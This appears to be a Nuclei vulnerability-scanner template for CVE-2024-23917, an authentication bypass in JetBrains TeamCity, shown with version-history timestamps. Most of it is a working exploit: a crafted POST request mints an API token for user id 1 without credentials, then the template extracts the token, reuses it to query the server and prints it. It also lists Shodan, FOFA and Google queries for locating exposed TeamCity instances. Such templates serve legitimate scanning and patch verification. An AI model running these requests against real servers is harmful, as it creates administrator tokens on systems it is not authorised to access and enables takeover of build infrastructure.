2024-04-30 12:52:48 +00:00
|
|
|
id: CVE-2024-23917
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: JetBrains TeamCity > 2023.11.3 - Authentication Bypass
|
|
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
In JetBrains TeamCity before 2023.11.3 authentication bypass leading to RCE was possible
|
|
|
|
reference:
|
|
|
|
- https://github.com/fkie-cad/nvd-json-data-feeds
|
|
|
|
- https://www.rapid7.com/db/vulnerabilities/jetbrains-teamcity-cve-2024-23917/
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2024-23917
|
|
|
|
cwe-id: CWE-306,CWE-288
|
2024-06-07 10:04:29 +00:00
|
|
|
epss-score: 0.04384
|
|
|
|
epss-percentile: 0.92363
|
2024-04-30 12:52:48 +00:00
|
|
|
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2024-06-07 10:04:29 +00:00
|
|
|
max-request: 2
|
2024-04-30 12:52:48 +00:00
|
|
|
vendor: jetbrains
|
|
|
|
product: teamcity
|
2024-06-07 10:04:29 +00:00
|
|
|
shodan-query:
|
|
|
|
- "http.title:teamcity"
|
|
|
|
- http.component:"teamcity"
|
|
|
|
fofa-query: "title=teamcity"
|
|
|
|
google-query: "intitle:teamcity"
|
|
|
|
tags: cve,cve2024,auth-bypass,teamcity,jetbrains
|
2024-04-30 12:52:48 +00:00
|
|
|
flow: http(1) && http(2)
|
2024-05-02 17:06:58 +00:00
|
|
|
|
2024-04-30 12:52:48 +00:00
|
|
|
http:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/app/rest/users/id:1/tokens/{{randstr}};.jsp?jsp_precompile=true"
|
|
|
|
headers:
|
|
|
|
Content-Type: "application/x-www-form-urlencoded"
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- status_code==200
|
|
|
|
- "contains(content_type,'application/xml')"
|
|
|
|
- 'contains(body,"<token name=\"{{randstr}}\"")'
|
|
|
|
condition: and
|
2024-04-30 12:55:33 +00:00
|
|
|
internal: true
|
2024-04-30 12:52:48 +00:00
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
name: authtoken
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- 'value="(.+)"'
|
|
|
|
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/app/rest/server"
|
|
|
|
headers:
|
|
|
|
Authorization: "Bearer {{authtoken}}"
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- '"Token:" + authtoken'
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- "status_code==200"
|
|
|
|
- "contains(content_type,'application/xml')"
|
|
|
|
- "contains(body,'<projects href=')"
|
|
|
|
condition: and
|
2024-06-08 16:02:17 +00:00
|
|
|
# digest: 4a0a004730450220148e3d60d45a7598faca5ac1e4372beb469bb5270575a9ba24836b84e7efeb21022100ddaf2714ec4ab4c387e2b72f8cbf8380913ae7440af993a425a2347acb1f0b7e:922c64590222798bb761d5b6d8e72950
|